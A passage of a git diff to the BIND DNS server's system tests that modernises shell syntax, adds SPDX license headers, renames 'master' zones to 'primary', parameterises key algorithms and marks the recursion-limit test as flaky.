   grep "status: SERVFAIL" dig.out.1.test$n > /dev/null || ret=1
 fi
 $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
-eval count=`cat dig.out.2.test$n`
+eval count=$(cat dig.out.2.test$n)
 [ $count -le 40 ] || { ret=1; echo_i "count ($count) !<= 40"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt permissible lookup ($n)"
 ret=0
 echo "9" > ans2/ans.limit
@@ -183,25 +187,25 @@ $DIG $DIGOPTS @10.53.0.2 reset > /dev/null || ret=1
 $DIG $DIGOPTS @10.53.0.3 indirect8.example.org > dig.out.1.test$n || ret=1
 grep "status: NOERROR" dig.out.1.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
-eval count=`cat dig.out.2.test$n`
+eval count=$(cat dig.out.2.test$n)
 [ $count -le 40 ] || { ret=1; echo_i "count ($count) !<= 40"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempting NS explosion ($n)"
 ret=0
 ns3_reset ns3/named4.conf.in
 $DIG $DIGOPTS @10.53.0.2 reset > /dev/null || ret=1
 $DIG $DIGOPTS +short @10.53.0.3 ns1.1.example.net > dig.out.1.test$n || ret=1
 $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
-eval count=`cat dig.out.2.test$n`
+eval count=$(cat dig.out.2.test$n)
 [ $count -lt 50 ] || ret=1
 $DIG $DIGOPTS +short @10.53.0.7 count txt > dig.out.3.test$n || ret=1
-eval count=`cat dig.out.3.test$n`
+eval count=$(cat dig.out.3.test$n)
 [ $count -lt 50 ] || { ret=1; echo_i "count ($count) !<= 50";  }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #grep "duplicate query" ns3/named.run
 echo_i "exit status: $status"
diff --git a/bin/tests/system/reclimit/tests_sh_reclimit.py b/bin/tests/system/reclimit/tests_sh_reclimit.py
new file mode 100644
index 0000000000..4710027581
--- /dev/null
+++ b/bin/tests/system/reclimit/tests_sh_reclimit.py
@@ -0,0 +1,18 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import pytest_custom_markers
+
+
+# The reclimit is known to be quite unstable. GL #1587
+@pytest_custom_markers.flaky(max_runs=2)
+def test_reclimit(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/redirect/clean.sh b/bin/tests/system/redirect/clean.sh
index 676bdcb05d..9489c94fb7 100644
--- a/bin/tests/system/redirect/clean.sh
+++ b/bin/tests/system/redirect/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/redirect/conf/bad1.conf b/bin/tests/system/redirect/conf/bad1.conf
index 4928878ec8..5ff4feea04 100644
--- a/bin/tests/system/redirect/conf/bad1.conf
+++ b/bin/tests/system/redirect/conf/bad1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/conf/bad2.conf b/bin/tests/system/redirect/conf/bad2.conf
index 87a23fddcb..0cf0a68c6f 100644
--- a/bin/tests/system/redirect/conf/bad2.conf
+++ b/bin/tests/system/redirect/conf/bad2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/conf/bad3.conf b/bin/tests/system/redirect/conf/bad3.conf
index ad7063cd13..b034c5b5d3 100644
--- a/bin/tests/system/redirect/conf/bad3.conf
+++ b/bin/tests/system/redirect/conf/bad3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/conf/good1.conf b/bin/tests/system/redirect/conf/good1.conf
index 4e092108fe..c5711e5ca5 100644
--- a/bin/tests/system/redirect/conf/good1.conf
+++ b/bin/tests/system/redirect/conf/good1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/conf/good2.conf b/bin/tests/system/redirect/conf/good2.conf
index a01d645673..f6ebd631c3 100644
--- a/bin/tests/system/redirect/conf/good2.conf
+++ b/bin/tests/system/redirect/conf/good2.conf
@@ -1,17 +1,19 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "." {
-	type master;
-	file "master.db";
+	type primary;
+	file "primary.db";
 };
 
 zone "." {
diff --git a/bin/tests/system/redirect/conf/good3.conf b/bin/tests/system/redirect/conf/good3.conf
index bd70d6dbe1..dcdd954738 100644
--- a/bin/tests/system/redirect/conf/good3.conf
+++ b/bin/tests/system/redirect/conf/good3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/conf/good4.conf b/bin/tests/system/redirect/conf/good4.conf
index f70b723d29..e046577701 100644
--- a/bin/tests/system/redirect/conf/good4.conf
+++ b/bin/tests/system/redirect/conf/good4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns1/example.db b/bin/tests/system/redirect/ns1/example.db
index 83140c2503..90c09d4bf0 100644
--- a/bin/tests/system/redirect/ns1/example.db
+++ b/bin/tests/system/redirect/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns1/named.conf.in b/bin/tests/system/redirect/ns1/named.conf.in
index 6afaa6bb97..412b874240 100644
--- a/bin/tests/system/redirect/ns1/named.conf.in
+++ b/bin/tests/system/redirect/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns1/redirect.db b/bin/tests/system/redirect/ns1/redirect.db
index 0797462a8e..b2a60bbb64 100644
--- a/bin/tests/system/redirect/ns1/redirect.db
+++ b/bin/tests/system/redirect/ns1/redirect.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns1/root.db b/bin/tests/system/redirect/ns1/root.db
index 7b8caea29a..6df215f3e3 100644
--- a/bin/tests/system/redirect/ns1/root.db
+++ b/bin/tests/system/redirect/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns1/sign.sh b/bin/tests/system/redirect/ns1/sign.sh
index 44a8dabbab..974e6cabef 100644
--- a/bin/tests/system/redirect/ns1/sign.sh
+++ b/bin/tests/system/redirect/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,8 +17,8 @@ zone=signed
 infile=example.db
 zonefile=signed.db
 
-key1=`$KEYGEN -q -a rsasha256 $zone`
-key2=`$KEYGEN -q -a rsasha256 -fk $zone`
+key1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} $zone)
+key2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $zone)
 
 cat $infile $key1.key $key2.key > $zonefile
 
@@ -26,8 +28,8 @@ zone=nsec3
 infile=example.db
 zonefile=nsec3.db
 
-key1=`$KEYGEN -q -a rsasha256 -3 $zone`
-key2=`$KEYGEN -q -a rsasha256 -3 -fk $zone`
+key1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -3 $zone)
+key2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -3 -fk $zone)
 
 cat $infile $key1.key $key2.key > $zonefile
 
diff --git a/bin/tests/system/redirect/ns2/example.db.in b/bin/tests/system/redirect/ns2/example.db.in
index bb8b66d9b9..a87ae7d0b4 100644
--- a/bin/tests/system/redirect/ns2/example.db.in
+++ b/bin/tests/system/redirect/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns2/named.conf.in b/bin/tests/system/redirect/ns2/named.conf.in
index e2d74e7ef0..9b887360d8 100644
--- a/bin/tests/system/redirect/ns2/named.conf.in
+++ b/bin/tests/system/redirect/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,7 +33,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/redirect/ns2/redirect.db.in b/bin/tests/system/redirect/ns2/redirect.db.in
index 46e5db811f..e05d64df91 100644
--- a/bin/tests/system/redirect/ns2/redirect.db.in
+++ b/bin/tests/system/redirect/ns2/redirect.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns3/example.db b/bin/tests/system/redirect/ns3/example.db
index 065ad2dd68..4cceedfa64 100644
--- a/bin/tests/system/redirect/ns3/example.db
+++ b/bin/tests/system/redirect/ns3/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns3/named.conf.in b/bin/tests/system/redirect/ns3/named.conf.in
index 53e6a7f67c..2113dd5923 100644
--- a/bin/tests/system/redirect/ns3/named.conf.in
+++ b/bin/tests/system/redirect/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns3/redirect.db b/bin/tests/system/redirect/ns3/redirect.db
index b8ca047d4c..b5b63dad54 100644
--- a/bin/tests/system/redirect/ns3/redirect.db
+++ b/bin/tests/system/redirect/ns3/redirect.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns3/root.db b/bin/tests/system/redirect/ns3/root.db
index 1befd933ba..13433efa99 100644
--- a/bin/tests/system/redirect/ns3/root.db
+++ b/bin/tests/system/redirect/ns3/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns3/sign.sh b/bin/tests/system/redirect/ns3/sign.sh
index 44a8dabbab..974e6cabef 100644
--- a/bin/tests/system/redirect/ns3/sign.sh
+++ b/bin/tests/system/redirect/ns3/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,8 +17,8 @@ zone=signed
 infile=example.db
 zonefile=signed.db
 
-key1=`$KEYGEN -q -a rsasha256 $zone`
-key2=`$KEYGEN -q -a rsasha256 -fk $zone`
+key1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} $zone)
+key2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $zone)
 
 cat $infile $key1.key $key2.key > $zonefile
 
@@ -26,8 +28,8 @@ zone=nsec3
 infile=example.db
 zonefile=nsec3.db
 
-key1=`$KEYGEN -q -a rsasha256 -3 $zone`
-key2=`$KEYGEN -q -a rsasha256 -3 -fk $zone`
+key1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -3 $zone)
+key2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -3 -fk $zone)
 
 cat $infile $key1.key $key2.key > $zonefile
 
diff --git a/bin/tests/system/redirect/ns4/example.db.in b/bin/tests/system/redirect/ns4/example.db.in
index 4d3a0824e3..8057d1b562 100644
--- a/bin/tests/system/redirect/ns4/example.db.in
+++ b/bin/tests/system/redirect/ns4/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns4/named.conf.in b/bin/tests/system/redirect/ns4/named.conf.in
index 104619fb61..1650e99a7b 100644
--- a/bin/tests/system/redirect/ns4/named.conf.in
+++ b/bin/tests/system/redirect/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,7 +33,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/redirect/ns4/root.hint b/bin/tests/system/redirect/ns4/root.hint
index 20d2a27c2a..3889a8b353 100644
--- a/bin/tests/system/redirect/ns4/root.hint
+++ b/bin/tests/system/redirect/ns4/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns5/named.conf.in b/bin/tests/system/redirect/ns5/named.conf.in
index 6987f7e656..2513a45138 100644
--- a/bin/tests/system/redirect/ns5/named.conf.in
+++ b/bin/tests/system/redirect/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on port @PORT@ { 10.53.0.5; };
 	pid-file "named.pid";
 	nxdomain-redirect signed;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/redirect/ns5/root.db.in b/bin/tests/system/redirect/ns5/root.db.in
index 90c634706b..19aa61da32 100644
--- a/bin/tests/system/redirect/ns5/root.db.in
+++ b/bin/tests/system/redirect/ns5/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns5/sign.sh b/bin/tests/system/redirect/ns5/sign.sh
index 04ef1500d5..ffe4e13589 100644
--- a/bin/tests/system/redirect/ns5/sign.sh
+++ b/bin/tests/system/redirect/ns5/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -19,8 +21,8 @@ zone=signed.
 infile=signed.db.in
 zonefile=signed.db
 
-key1=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS $zone 2> /dev/null`
-key2=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -fk $zone 2> /dev/null`
+key1=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS $zone 2> /dev/null)
+key2=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -fk $zone 2> /dev/null)
 
 cat $infile $key1.key $key2.key > $zonefile
 
@@ -33,8 +35,8 @@ zone=.
 infile=root.db.in
 zonefile=root.db
 
-key1=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS $zone 2> /dev/null`
-key2=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -fk $zone 2> /dev/null`
+key1=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS $zone 2> /dev/null)
+key2=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -fk $zone 2> /dev/null)
 
 # cat $infile $key1.key $key2.key > $zonefile
 cat $infile dsset-signed. $key1.key $key2.key > $zonefile
diff --git a/bin/tests/system/redirect/ns5/signed.db.in b/bin/tests/system/redirect/ns5/signed.db.in
index 8884120b6c..65792274e9 100644
--- a/bin/tests/system/redirect/ns5/signed.db.in
+++ b/bin/tests/system/redirect/ns5/signed.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns5/unsigned.db b/bin/tests/system/redirect/ns5/unsigned.db
index 0f0604d79e..10e06ff3b9 100644
--- a/bin/tests/system/redirect/ns5/unsigned.db
+++ b/bin/tests/system/redirect/ns5/unsigned.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/ns6/named.conf.in b/bin/tests/system/redirect/ns6/named.conf.in
index 71aa56df68..dee2bcf51e 100644
--- a/bin/tests/system/redirect/ns6/named.conf.in
+++ b/bin/tests/system/redirect/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on port @PORT@ { 10.53.0.6; };
 	pid-file "named.pid";
 	nxdomain-redirect unsigned;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/redirect/ns6/root.db b/bin/tests/system/redirect/ns6/root.db
index 5e78d23ea2..a8e6a45723 100644
